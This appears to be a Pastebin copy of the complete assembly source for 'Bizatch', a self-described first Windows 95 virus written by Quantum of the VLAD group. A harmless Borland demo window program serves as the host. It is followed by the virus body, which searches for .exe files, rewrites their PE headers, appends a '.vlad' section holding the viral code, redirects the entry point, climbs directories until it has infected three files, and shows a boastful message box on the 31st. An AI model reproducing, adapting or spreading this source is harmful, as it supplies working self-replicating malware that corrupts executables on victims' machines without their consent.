Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;
- ; Bizatch by Quantum / VLAD
- ;
- ; Welcome to the world's first Windows 95 virus.
- ;
- ; It is a great honour for me to have written this virus as this
- ; is ground breaking stuff. Windows 95 is a platform that was
- ; designed to be uninfectable, but Microsoft did not reckon with
- ; the awesome power of vlad. As such, this virus will be used as
- ; a minor information service for vlad. On the 31st of every month
- ; every infected exe will display a message box listing the members
- ; of the vlad possie from the old skool to the new.
- ;
- ; The following is a host program kindly contributed by Borland International.
- ; This example will put up a window and beep when the right mouse button
- ; is pressed. When the left mouse button is pressed, it will increment
- ; the displayed 32-bit counter.
- ;
- ; Everything needed to assemble this code has been put in the file
- ; BIZATCH.ZIP
- ;
- ; A tutorial on Win95 virii is likely to be included in this issue of vlad.
- ;
- ;-----------------------------------------------------------------------------
- ; You might wanna skip over this and head straight for the virus code
- ; which is at line 350
- ;
- .386
- locals
- jumps
- .model flat,STDCALL
- include win32.inc ; some 32-bit constants and structures
- L equ
- ;
- ; Define the external functions we will be linking to
- ;
- extrn BeginPaint:PROC
- extrn CreateWindowExA:PROC
- extrn DefWindowProcA:PROC
- extrn DispatchMessageA:PROC
- extrn EndPaint:PROC
- extrn ExitProcess:PROC
- extrn FindWindowA:PROC
- extrn GetMessageA:PROC
- extrn GetModuleHandleA:PROC
- extrn GetStockObject:PROC
- extrn InvalidateRect:PROC
- extrn LoadCursorA:PROC
- extrn LoadIconA:PROC
- extrn MessageBeep:PROC
- extrn PostQuitMessage:PROC
- extrn RegisterClassA:PROC
- extrn ShowWindow:PROC
- extrn SetWindowPos:PROC
- extrn TextOutA:PROC
- extrn TranslateMessage:PROC
- extrn UpdateWindow:PROC
- ;
- ; for Unicode support, Win32 remaps some functions to either the Ansi or
- ; Wide char versions. We will assume Ansi for this example.
- ;
- CreateWindowEx equ
- DefWindowProc equ
- DispatchMessage equ
- FindWindow equ
- GetMessage equ
- GetModuleHandle equ
- LoadCursor equ
- LoadIcon equ
- MessageBox equ
- RegisterClass equ
- TextOut equ
- .data
- copyright db 'VLAD inc - 1995, peace through superior virus power..',0
- newhwnd dd 0
- lppaint PAINTSTRUCT
- msg MSGSTRUCT
- wc WNDCLASS
- mbx_count dd 0
- hInst dd 0
- szTitleName db 'Bizatch by Quantum / VLAD activated'
- zero db 0
- szAlternate db 'more than once',0
- szClassName db 'ASMCLASS32',0
- szPaint db 'Left Button pressed:'
- s_num db '00000000h times.',0
- MSG_L EQU ($-offset szPaint)-1
- .code
- ;-----------------------------------------------------------------------------
- ;
- ; This is where control is usually received from the loader.
- ;
- start:
- push L 0
- call GetModuleHandle ; get hmod (in eax)
- mov [hInst], eax ; hInstance is same as HMODULE
- ; in the Win32 world
- push L 0
- push offset szClassName
- call FindWindow
- or eax,eax
- jz reg_class
- mov [zero], ' ' ; space to modify title string
- reg_class:
- ;
- ; initialize the WndClass structure
- ;
- mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
- mov [wc.clsLpfnWndProc], offset WndProc
- mov [wc.clsCbClsExtra], 0
- mov [wc.clsCbWndExtra], 0
- mov eax, [hInst]
- mov [wc.clsHInstance], eax
- push L IDI_APPLICATION
- push L 0
- call LoadIcon
- mov [wc.clsHIcon], eax
- push L IDC_ARROW
- push L 0
- call LoadCursor
- mov [wc.clsHCursor], eax
- mov [wc.clsHbrBackground], COLOR_WINDOW + 1
- mov dword ptr [wc.clsLpszMenuName], 0
- mov dword ptr [wc.clsLpszClassName], offset szClassName
- push offset wc
- call RegisterClass
- push L 0 ; lpParam
- push [hInst] ; hInstance
- push L 0 ; menu
- push L 0 ; parent hwnd
- push L CW_USEDEFAULT ; height
- push L CW_USEDEFAULT ; width
- push L CW_USEDEFAULT ; y
- push L CW_USEDEFAULT ; x
- push L WS_OVERLAPPEDWINDOW ; Style
- push offset szTitleName ; Title string
- push offset szClassName ; Class name
- push L 0 ; extra style
- call CreateWindowEx
- mov [newhwnd], eax
- push L SW_SHOWNORMAL
- push [newhwnd]
- call ShowWindow
- push [newhwnd]
- call UpdateWindow
- msg_loop:
- push L 0
- push L 0
- push L 0
- push offset msg
- call GetMessage
- cmp ax, 0
- je end_loop
- push offset msg
- call TranslateMessage
- push offset msg
- call DispatchMessage
- jmp msg_loop
- end_loop:
- push [msg.msWPARAM]
- call ExitProcess
- ; we never get to here
- ;-----------------------------------------------------------------------------
- WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
- ;
- ; WARNING: Win32 requires that EBX, EDI, and ESI be preserved! We comply
- ; with this by listing those regs after the 'uses' statement in the 'proc'
- ; line. This allows the Assembler to save them for us.
- ;
- LOCAL theDC:DWORD
- cmp [wmsg], WM_DESTROY
- je wmdestroy
- cmp [wmsg], WM_RBUTTONDOWN
- je wmrbuttondown
- cmp [wmsg], WM_SIZE
- je wmsize
- cmp [wmsg], WM_CREATE
- je wmcreate
- cmp [wmsg], WM_LBUTTONDOWN
- je wmlbuttondown
- cmp [wmsg], WM_PAINT
- je wmpaint
- cmp [wmsg], WM_GETMINMAXINFO
- je wmgetminmaxinfo
- jmp defwndproc
- wmpaint:
- push offset lppaint
- push [hwnd]
- call BeginPaint
- mov [theDC], eax
- mov eax, [mbx_count]
- mov edi, offset s_num
- call HexWrite32
- push L MSG_L ; length of string
- push offset szPaint ; string
- push L 5 ; y
- push L 5 ; x
- push [theDC] ; the DC
- call TextOut
- push offset lppaint
- push [hwnd]
- call EndPaint
- mov eax, 0
- jmp finish
- wmcreate:
- mov eax, 0
- jmp finish
- defwndproc:
- push [lparam]
- push [wparam]
- push [wmsg]
- push [hwnd]
- call DefWindowProc
- jmp finish
- wmdestroy:
- push L 0
- call PostQuitMessage
- mov eax, 0
- jmp finish
- wmlbuttondown:
- inc [mbx_count]
- push L 0
- push L 0
- push [hwnd]
- call InvalidateRect ; repaint window
- mov eax, 0
- jmp finish
- wmrbuttondown:
- push L 0
- call MessageBeep
- jmp finish
- wmsize:
- mov eax, 0
- jmp finish
- wmgetminmaxinfo:
- mov ebx, [lparam] ; ptr to minmaxinfo struct
- mov [(MINMAXINFO ptr ebx).mintrackposition_x] , 350
- mov [(MINMAXINFO ptr ebx).mintrackposition_y] , 60
- mov eax, 0
- jmp finish
- finish:
- ret
- WndProc endp
- ;-----------------------------------------------------------------------------
- HexWrite8 proc
- ;
- ; AL has two hex digits that will be written to ES:EDI in ASCII form
- ;
- mov ah, al
- and al, 0fh
- shr ah, 4
- ; ah has MSD
- ; al has LSD
- or ax, 3030h
- xchg al, ah
- cmp ah, 39h
- ja @@4
- @@1:
- cmp al, 39h
- ja @@3
- @@2:
- stosw
- ret
- @@3:
- sub al, 30h
- add al, 'A' - 10
- jmp @@2
- @@4:
- sub ah, 30h
- add ah, 'A' - 10
- jmp @@1
- HexWrite8 endp
- ;-----------------------------------------------------------------------------
- HexWrite16 proc
- ;
- ; AX has four hex digits in it that will be written to ES:EDI
- ;
- push ax
- xchg al,ah
- call HexWrite8
- pop ax
- call HexWrite8
- ret
- HexWrite16 endp
- ;-----------------------------------------------------------------------------
- HexWrite32 proc
- ;
- ; EAX has eight hex digits in it that will be written to ES:EDI
- ;
- push eax
- shr eax, 16
- call HexWrite16
- pop eax
- call HexWrite16
- ret
- HexWrite32 endp
- ;-----------------------------------------------------------------------------
- public WndProc
- ends
- ;-----------------------------------------------------------------------------
- ; Here is where the virus code begins.. this code is moved from exe to
- ; exe.. the above is just a simple custom host.
- vladseg segment para public 'vlad'
- assume cs:vladseg
- vstart:
- call recalc
- recalc:
- pop ebp
- mov eax,ebp ; calculate the address to the host
- db 2dh
- subme dd 30000h + (recalc - vstart)
- push eax ; save it for l8r
- sub ebp,offset recalc ; calculate the delta offset
- mov eax,[ebp + offset kern2] ; determine where the kernel is at
- cmp dword ptr [eax],5350fc9ch
- jnz notkern2
- mov eax,[ebp + offset kern2] ; here
- jmp movit
- notkern2:
- mov eax,[ebp + offset kern1] ; or here
- cmp dword ptr [eax],5350fc9ch
- jnz nopayload
- mov eax,[ebp + offset kern1]
- movit:
- mov [ebp + offset kern],eax ; save it for l8r use
- cld ; important
- lea eax,[ebp + offset orgdir]
- push eax
- push 255
- call GetCurDir ; save the current directory
- mov byte ptr [ebp + offset countinfect],0 ; count the number we are infecting
- infectdir:
- lea eax,[ebp + offset win32_data_thang]
- push eax
- lea eax,[ebp + offset fname]
- push eax
- call FindFile ; search for first exe
- mov dword ptr [ebp + offset searchhandle],eax ; save the search handle
- cmp eax,-1
- jz foundnothing
- gofile:
- push 0
- push dword ptr [ebp + offset fileattr] ; FILE_ATTRIBUTE_NORMAL
- push 3 ; OPEN_EXISTING
- push 0
- push 0
- push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
- lea eax,[ebp + offset fullname]
- push eax
- call CreateFile ; open file in read/write mode
- mov dword ptr [ebp + offset ahand],eax ; save the handle
- cmp eax,-1
- jz findnextone
- ; goto the dword that stores the location of the pe header
- push 0
- push 0
- push 3ch
- push dword ptr [ebp + offset ahand]
- call SetFilePointer
- ; read in the location of the pe header
- push 0
- lea eax,[ebp + offset bytesread]
- push eax
- push 4
- lea eax,[ebp + offset peheaderoffset]
- push eax
- push dword ptr [ebp + offset ahand]
- call ReadFile
- ; goto the pe header
- push 0
- push 0
- push dword ptr [ebp + offset peheaderoffset]
- push dword ptr [ebp + offset ahand]
- call SetFilePointer
- ; read in enuff to calculate the full size of the pe header and object table
- push 0
- lea eax,[ebp + offset bytesread]
- push eax
- push 58h
- lea eax,[ebp + offset peheader]
- push eax
- push dword ptr [ebp + offset ahand]
- call ReadFile
- ; make sure it is a pe header and is not already infected
- cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
- jnz notape
- cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
- jz notape
- cmp dword ptr [ebp + offset 52],4000000h
- jz notape
- ; go back to the start of the pe header
- push 0
- push 0
- push dword ptr [ebp + offset peheaderoffset]
- push dword ptr [ebp + offset ahand]
- call SetFilePointer
- ; read in the whole pe header and object table
- push 0
- lea eax,[ebp + offset bytesread]
- push eax
- push dword ptr [ebp + offset headersize]
- lea eax,[ebp + offset peheader]
- push eax
- push dword ptr [ebp + offset ahand]
- call ReadFile
- ; set the infection flag
- mov word ptr [ebp + offset peheader + 4ch],0F00Dh
- ; locate offset of object table
- xor eax,eax
- mov ax, word ptr [ebp + offset NtHeaderSize]
- add eax,18h
- mov dword ptr [ebp + offset ObjectTableoffset],eax
- ; calculate the offset of the last (null) object in the object table
- mov esi,dword ptr [ebp + offset ObjectTableoffset]
- lea eax,[ebp + offset peheader]
- add esi,eax
- xor eax,eax
- mov ax,[ebp + offset numObj]
- mov ecx,40
- xor edx,edx
- mul ecx
- add esi,eax
- inc word ptr [ebp + offset numObj] ; inc the number of objects
- lea edi,[ebp + offset newobject]
- xchg edi,esi
- ; calculate the Relative Virtual Address (RVA) of the new object
- mov eax,[edi-5*8+8]
- add eax,[edi-5*8+12]
- mov ecx,dword ptr [ebp + offset objalign]
- xor edx,edx
- div ecx
- inc eax
- mul ecx
- mov dword ptr [ebp + offset RVA],eax
- ; calculate the physical size of the new object
- mov ecx,dword ptr [ebp + offset filealign]
- mov eax,vend-vstart
- xor edx,edx
- div ecx
- inc eax
- mul ecx
- mov dword ptr [ebp + offset physicalsize],eax
- ; calculate the virtual size of the new object
- mov ecx,dword ptr [ebp + offset objalign]
- mov eax,vend - vstart + 1000h
- xor edx,edx
- div ecx
- inc eax
- mul ecx
- mov dword ptr [ebp + offset virtualsize],eax
- ; calculate the physical offset of the new object
- mov eax,[edi-5*8+20]
- add eax,[edi-5*8+16]
- mov ecx,dword ptr [ebp + offset filealign]
- xor edx,edx
- div ecx
- inc eax
- mul ecx
- mov dword ptr [ebp + offset physicaloffset],eax
- ; update the image size (the size in memory) of the file
- mov eax,vend-vstart+1000h
- add eax,dword ptr [ebp + offset imagesize]
- mov ecx,[ebp + offset objalign]
- xor edx,edx
- div ecx
- inc eax
- mul ecx
- mov dword ptr [ebp + offset imagesize],eax
- ; copy the new object into the object table
- mov ecx,10
- rep movsd
- ; calculate the entrypoint RVA
- mov eax,dword ptr [ebp + offset RVA]
- mov ebx,dword ptr [ebp + offset entrypointRVA]
- mov dword ptr [ebp + offset entrypointRVA],eax
- sub eax,ebx
- add eax,5
- ; Set the value needed to return to the host
- mov dword ptr [ebp + offset subme],eax
- ; go back to the start of the pe header
- push 0
- push 0
- push dword ptr [ebp + offset peheaderoffset]
- push dword ptr [ebp + offset ahand]
- call SetFilePointer
- ; write the pe header and object table to the file
- push 0
- lea eax,[ebp + offset bytesread]
- push eax
- push dword ptr [ebp + offset headersize]
- lea eax,[ebp + offset peheader]
- push eax
- push dword ptr [ebp + offset ahand]
- call WriteFile
- ; increase the number of files infected
- inc byte ptr [ebp + offset countinfect]
- ; move to the physical offset of the new object
- push 0
- push 0
- push dword ptr [ebp + offset physicaloffset]
- push dword ptr [ebp + offset ahand]
- call SetFilePointer
- ; write the virus code to the new object
- push 0
- lea eax,[ebp + offset bytesread]
- push eax
- push vend-vstart
- lea eax,[ebp + offset vstart]
- push eax
- push dword ptr [ebp + offset ahand]
- call WriteFile
- notape:
- ; close the file
- push dword ptr [ebp + offset ahand]
- call CloseFile
- findnextone:
- ; have we infected 3 ?
- cmp byte ptr [ebp + offset countinfect],3
- jz outty
- ; no.. find the next file
- lea eax,[ebp + offset win32_data_thang]
- push eax
- push dword ptr [ebp + offset searchhandle]
- call FindNext
- ; is there a next ? yes.. infect it
- or eax,eax
- jnz gofile
- foundnothing:
- ; no .. change dirs
- xor eax,eax
- lea edi,[ebp + offset tempdir]
- mov ecx,256/4
- rep stosd
- lea edi,[ebp + offset tempdir1]
- mov ecx,256/4
- rep stosd
- ; get the current dir
- lea esi,[ebp + offset tempdir]
- push esi
- push 255
- call GetCurDir
- ; change into ".."
- lea eax,[ebp + offset dotdot]
- push eax
- call SetCurDir
- ; get the current dir
- lea edi,[ebp + offset tempdir1]
- push edi
- push 255
- call GetCurDir
- ; if the dirs are the same then the ".." failed
- mov ecx,256/4
- rep cmpsd
- jnz infectdir
- outty:
- ; set the current dir back to the original
- lea eax,[ebp + offset orgdir]
- push eax
- call SetCurDir
- ; get the current date and time and lots of other shit that no-one ever uses
- lea eax,[ebp + offset systimestruct]
- push eax
- call GetTime
- ; if it's the 31st then do the payload
- cmp word ptr [ebp + offset day],31
- jnz nopayload
- ; display a message box to the user
- push 1000h ; MB_SYSTEMMODAL
- lea eax,[ebp + offset boxtitle]
- push eax
- lea eax,[ebp + offset boxmsg]
- push eax
- push 0
- call MsgBox
- nopayload:
- ; jump back to the host
- pop eax
- jmp eax
- kern dd 0BFF93B95h ; the value of the kernel will be shoved in here
- kern1 dd 0BFF93B95h ; the first possible value of the kernel
- kern2 dd 0BFF93C1Dh ; the second possible value of the kernel
- GetCurDir:
- push 0BFF77744h ; push this value to get current dir
- jmp [ebp + offset kern]
- SetCurDir:
- push 0BFF7771Dh ; push this value to set current dir
- jmp [ebp + offset kern]
- GetTime:
- cmp [ebp + offset kern],0BFF93B95h
- jnz gettimekern2
- push 0BFF9D0B6h ; push this value if we're using kernel1 to get time/date
- jmp [ebp + offset kern]
- gettimekern2:
- push 0BFF9D14eh ; push this value if we're using kernel2 to get time/date
- jmp [ebp + offset kern]
- MsgBox:
- push 0BFF638D9h ; push this value to display a message box
- jmp [ebp + offset kern]
- FindFile:
- push 0BFF77893h ; push this value to find a file
- jmp [ebp + offset kern]
- FindNext:
- push 0BFF778CBh ; push this value to find the next file
- jmp [ebp + offset kern]
- CreateFile:
- push 0BFF77817h ; push this value to create/open a file (create handle)
- jmp [ebp + offset kern]
- SetFilePointer:
- push 0BFF76FA0h ; push this value to set the file pointer of a file
- jmp [ebp + offset kern]
- ReadFile:
- push 0BFF75806h ; push this value to read a file
- jmp [ebp + offset kern]
- WriteFile:
- push 0BFF7580Dh ; push this value to write to a file
- jmp [ebp + offset kern]
- CloseFile:
- push 0BFF7BC72h ; push this value to close a file
- jmp [ebp + offset kern]
- countinfect db 0 ; counts the infections
- win32_data_thang: ; used to search for files
- fileattr dd 0
- createtime dd 0,0
- lastaccesstime dd 0,0
- lastwritetime dd 0,0
- filesize dd 0,0
- resv dd 0,0
- fullname db 256 dup (0)
- realname db 256 dup (0)
- boxtitle db "Bizatch by Quantum / VLAD",0
- boxmsg db "The taste of fame just got tastier!",0dh
- db "VLAD Australia does it again with the world's first Win95 Virus"
- db 0dh,0dh
- db 9,"From the old school to the new.. ",0dh,0dh
- db 9,"Metabolis",0dh
- db 9,"Qark",0dh
- db 9,"Darkman",0dh
- db 9,"Quantum",0dh
- db 9,"CoKe",0
- messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
- db " written by Quantum of VLAD",0
- orgdir db 256 dup (0)
- tempdir db 256 dup (0)
- tempdir1 db 256 dup (0)
- dotdot db "..",0
- systimestruct: ; used to get the time/date
- dw 0,0,0
- day dw 0
- dw 0,0,0,0
- searchhandle dd 0 ; used in searches for files
- fname db '*.exe',0 ; spec to search for
- ahand dd 0 ; handle of the file we open
- peheaderoffset dd 0 ; stores the offset of the peheader in the file
- ObjectTableoffset dd 0 ; stores the offset of the object table in memory
- bytesread dd 0 ; number of bytes we just read/wrote from/to the file
- newobject: ; the new object
- oname db ".vlad",0,0,0
- virtualsize dd 0
- RVA dd 0
- physicalsize dd 0
- physicaloffset dd 0
- reserved dd 0,0,0
- objectflags db 40h,0,0,0c0h
- peheader: ; essential data for infecting the pe header
- signature dd 0
- cputype dw 0
- numObj dw 0
- db 3*4 dup (0)
- NtHeaderSize dw 0
- Flags dw 0
- db 4*4 dup (0)
- entrypointRVA dd 0
- db 3*4 dup (0)
- objalign dd 0
- filealign dd 0
- db 4*4 dup (0)
- imagesize dd 0
- headersize dd 0
- vend:
- ; space to read in the rest of the pe header and object table
- ; not actually written to the file but allocated by the object in post beta gen
- db 1000h dup (0)
- ends
- end vstart
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement